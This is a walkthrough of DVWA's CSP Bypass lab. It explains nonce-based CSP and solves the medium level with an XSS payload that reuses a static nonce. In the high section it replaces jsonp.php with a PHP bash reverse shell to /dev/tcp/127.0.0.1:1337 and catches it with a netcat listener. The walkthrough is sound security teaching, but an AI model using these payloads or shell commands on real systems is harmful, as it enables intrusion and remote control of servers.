DVWA - CSP Bypass
Information
The DVWA server itself contains instructions about almost everything.
Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.
The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficultly, with a simple straightforward interface.
The DVWA server has 4 different security levels which can be set as seen below:
- Low: This security level is completely vulnerable and has no security measures at all. It’s use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
- Medium: This setting is mainly to give an example to the user of bad security practices, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
- High: This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
- Impossible: This level should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.
Content Security Policy (CSP) Bypass
CSP is used to define where scripts and other resources can be loaded or executed from. This module will walk you through ways to bypass the policy based on common mistakes made by developers. None of the vulnerabilities are actual vulnerabilities in CSP, they are vulnerabilities in the way it has been implemented.
Objective: Bypass Content Security Policy (CSP) and execute JavaScript in the page.
Security: Low
Examine the policy to find all the sources that can be used to host external script files (Source code).
This task has an active issue: CSP Bypass can’t be solved with Hastebin anymore (once again) #539
Security: Medium
The CSP policy tries to use a nonce to prevent inline scripts from being added by attackers (Source code).
If we have a look at the source code, we will see that a
nonce
has been included:1 2 3 4 5 6 7 8
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; header($headerCSP); // Disable XSS protections so that inline alert boxes will work header ("X-XSS-Protection: 0"); # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
Let’s find out what exactly
nonce
is:A CSP with a nonce-source might look like this:
content-security-policy: default-src 'self'; script-src 'nonce-2726c7f26c'
And the corresponding document might contain a script element that looks like this:
1 2 3
<script nonce="2726c7f26c"> alert(123); </script>
There are 2 things to note here:
- It’s important that the nonce changes for each response.
- It’s important that the nonce is sufficiently hard to predict.
Now, because the nonce changes in a way that isn’t predictable, the attacker doesn’t know what to inject and so, by only allowing script (or style) elements with valid nonce attributes, we can be sure that injections will fail.
Essentialy, in order to bypass CSP we now need to know the
nonce
’s value. If we try to XSS as usual, it won’t work:1
<script>alert("XSS")</script>
But if we pass our payload along with the
nonce
’s value, it will work just fine:1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS")</script>
Security: High
The page makes a JSONP call to source/jsonp.php passing the name of the function to callback to, you need to modify the jsonp.php script to change the callback function (Source code).
Reverse shell
On this level the page makes a call to
jsonp.php
and executes whatever code is there:1 2 3 4 5 6 7 8 9 10 11 12 13 14
$ cat /usr/share/dvwa/vulnerabilities/csp/source/jsonp.php <?php header("Content-Type: application/json; charset=UTF-8"); if (array_key_exists ("callback", $_GET)) { $callback = $_GET['callback']; } else { return ""; } $outp = array ("answer" => "15"); echo $callback . "(".json_encode($outp).")"; ?>
We can make a backup of this file and replace it with one that contains our code in it, such as a php reverse shell:
1 2 3 4 5 6 7
$ sudo cp jsonp.php jsonp.php.bak $ ls high.js high.php impossible.js impossible.php jsonp_impossible.php jsonp.php jsonp.php.bak low.php medium.php $ cat jsonp.php <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'");?>
If we set up a listener and click the Solve the sum button, we should be able to catch the reverse shell:
1 2
$ nc -lvnp 1337 listening on [any] 1337 ...
Command execution
If we click the Solve the sum button and intercept the traffic with Burp, we will notice the
callback
parameter:We can modify
callback
’s value by passing a simple payload and then execute our payload by sending the request:
Security: Impossible
This level is an update of the high level where the JSONP call has its callback function hardcoded and the CSP policy is locked down to only allow external scripts (Source code).
Resources
- Cryptocat’s video walkthrough.
- Content Security Policy Reference.
- Mozilla’s CSP for the web we have.
- PortSwigger’s Content Security Policy.